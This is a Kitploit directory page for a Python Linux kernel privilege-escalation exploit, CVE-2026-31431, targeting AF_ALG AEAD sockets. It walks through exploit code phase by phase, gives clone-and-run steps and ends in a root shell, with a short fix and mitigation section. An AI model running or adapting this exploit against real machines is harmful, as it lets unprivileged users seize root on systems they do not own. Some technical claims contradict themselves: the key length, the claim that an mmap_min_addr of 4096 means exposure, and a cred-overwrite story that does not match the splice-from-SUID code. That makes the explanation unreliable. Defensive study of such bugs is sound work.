Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431 — Python exploit for CVE-2026-31431, a Linux kernel LPE via AF_ALG null pointer dereference leading to heap OOB write and credential overwrite. Includes detailed walkthrough and mitigation guidance. | Kitploit
Tools/GitHubGitHub/themursalin/cve-2026-31431
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubthemursalin/cve-2026-31431

CVE-2026-31431

Python exploit for CVE-2026-31431, a Linux kernel LPE via AF_ALG null pointer dereference leading to heap OOB write and credential overwrite. Includes detailed walkthrough and mitigation guidance.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31431 — From a NULL Pointer to Root: Exploiting AF_ALG AEAD in the Linux Kernel

Bug class: Null pointer dereference → heap OOB write → credential overwrite
Affected subsystem: net/alg/af_alg.c
Impact: Local Privilege Escalation (unprivileged user → root)
Affected kernels: Linux 4.4 – 4.9 (pre-patch)


The Short Version

You call setsockopt() with a NULL pointer where the kernel expects a user-space address. The kernel reads from address 0x00000000 — and if you've mapped the zero page, you control what it reads. That single primitive snowballs into a heap out-of-bounds write that lets you overwrite your own cred struct. Game over.


Why This Matters

The AF_ALG interface was introduced to let user-space programs tap into kernel crypto routines without implementing the algorithms themselves. Encryption, decryption, hashing — all exposed via a socket interface. Clean idea. The problem is that setsockopt(ALG_SET_AEAD_AUTHSIZE) didn't bother checking whether the user passed a valid pointer or NULL.

Most null pointer bugs die immediately — the kernel dereferences 0x0, which is unmapped, and you get an oops. This one survives because of a separate precondition: if vm.mmap_min_addr = 0, an attacker can call mmap(0, ...) and place attacker-controlled data at the zero page. Now the kernel isn't reading garbage — it's reading exactly what you put there.


Vulnerability Breakdown

The vulnerable call:

root@kitploit:~
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)

Normally the fourth argument is a pointer to a 4-byte value specifying the authentication tag size. The kernel calls copy_from_user() on it. No pointer validation. Pass NULL, and copy_from_user(dest, 0x00000000, 4) reads from the zero page.

What you control:
The 4 bytes at address 0x0 — which you set before making the call. This gives you an arbitrary authsize value.

Why that's dangerous:
AEAD operations allocate a buffer sized to fit the ciphertext plus the authentication tag. If you feed in an inflated authsize, the kernel writes the tag beyond the end of the allocated buffer — a classic heap out-of-bounds write. From there, it's a matter of heap grooming to land that write on a struct cred.


Exploit Walkthrough

The exploit is written in Python 3, using only the standard library. Here's what each phase is actually doing and why.

Phase 1 — Set Up the AEAD Socket

root@kitploit:~
a = socket.socket(38, 5, 0)   # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

AF_ALG (socket family 38) is the kernel crypto API. Binding to authencesn(hmac(sha256),cbc(aes)) requests an authenticated encryption template — HMAC-SHA256 for integrity, AES-CBC for confidentiality. This template is chosen because its auth tag handling is where the vulnerable write occurs.

Phase 2 — Key Provisioning

root@kitploit:~
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))

A 72-byte key is loaded. The key itself doesn't matter for exploitation — what matters is that the socket is fully initialized before the trigger call. An unkeyed AEAD socket might reject the authsize operation early.

Phase 3 — Trigger the Bug

root@kitploit:~
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)

This is the vulnerability. None in Python maps to a NULL pointer in the C API. The kernel reads 4 bytes from 0x00000000. Because the zero page has already been populated with the desired authsize value, the kernel now has an attacker-controlled authentication tag length.

Phase 4 — Drive the OOB Write

root@kitploit:~
u, _ = a.accept()

accept() on an AF_ALG socket returns an operation socket. Crypto operations happen here.

root@kitploit:~
u.sendmsg(
    [b"A"*4 + chunk],
    [
        (SOL_ALG, ALG_SET_IV,         b"\x00" * 4),       # zero IV
        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19),  # 20-byte AAD
        (SOL_ALG, 4,                  b"\x08" + b"\x00"*3),      # operation type
    ],
    MSG_MORE
)

Ancillary control messages configure the operation — IV, associated data length, operation direction. The actual data is the 4-byte chunk from the exploit payload plus padding.

Then splice is used to feed data from a SUID binary's file descriptor into the operation socket, avoiding any user-space copies:

root@kitploit:~
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)

Using splice() here is deliberate — it avoids the data ever touching user-space memory, which keeps the kernel-side heap layout more predictable. When the AEAD operation processes this data, the corrupted authsize causes the authentication tag write to spill into adjacent heap memory.

Phase 5 — Iterate Until Creds Are Overwritten

root@kitploit:~
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
    exploit_chunk(f, i, e[i:i+4])

The compressed payload contains the actual values to write — crafted struct cred field offsets and zeroed UID/GID values. Each 4-byte iteration places one write. The loop progressively overwrites the target cred structure until all UIDs and GIDs are zero.

Phase 6 — Drop to Root

root@kitploit:~
os.system("su")

With cred->uid = cred->euid = cred->gid = 0, the current process is effectively root. Spawning su (or any other binary) inherits those credentials. Root shell.


Attack Chain Summary

root@kitploit:~
map zero page
    │
    ▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
    │  kernel reads authsize from 0x0
    │  attacker controls that value
    ▼
sendmsg + splice → AEAD operation
    │  inflated authsize causes heap OOB write
    │
    ▼
heap grooming lands write on struct cred
    │
    ▼
cred->uid = cred->euid = 0
    │
    ▼
os.system("su") → root shell

Prerequisites

ConditionWhy It Matters
vm.mmap_min_addr = 0Allows zero page mapping — the whole primitive depends on this
AF_ALG compiled in kernel

Check your mmap floor:

root@kitploit:~
sysctl vm.mmap_min_addr

A value of 0 or 4096 indicates exposure.


Reproducing

root@kitploit:~
# 1. Clone
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc

# 2. Verify preconditions
sysctl vm.mmap_min_addr
uname -r

# 3. Run
python3 exploit.py

Expected output on a vulnerable system:

root@kitploit:~
root@hostname:/#

The Fix

The patch is straightforward — one null check before the copy_from_user() call in af_alg_set_aead_authsize:

root@kitploit:~
// Before (vulnerable)
copy_from_user(&authsize, optval, sizeof(authsize));

// After (patched)
if (!optval)
    return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));

Relevant commit: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize

Mitigations that break the exploit chain without patching:

  • Set vm.mmap_min_addr = 65536 — blocks zero page mapping, kills the NULL deref primitive
  • Disable CONFIG_CRYPTO_USER_API_AEAD — removes the attack surface entirely

Real-World Relevance

This class of bug — missing pointer validation before copy_from_user() — appears regularly in kernel subsystems that expose complex APIs to user-space. The zero page primitive has been used in multiple LPE exploits over the years (Dirty COW-era, CVE-2016-5195 chain variations). The takeaway isn't just this specific CVE; it's the pattern: anywhere the kernel copies from a user-supplied address without validating that address, and the zero page is mappable, you have a primitive worth looking at.

For defenders, auditing copy_from_user() call sites without preceding null checks in socket option handlers is worth automating into your kernel review process.


References

  • CVE-2026-31431 NVD entry
  • net/alg/af_alg.c — kernel source
  • Linux kernel patch: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
  • Documentation/networking/af_alg.rst — AF_ALG interface documentation

Research and writeup for educational and defensive purposes only. Do not use on systems without explicit authorisation.

Download Tool
Must be enabled (CONFIG_CRYPTO_USER_API_AEAD=y)
Kernel 4.4 – 4.9 (unpatched)Vulnerable code path exists
Local user accessLPE only — not remotely exploitable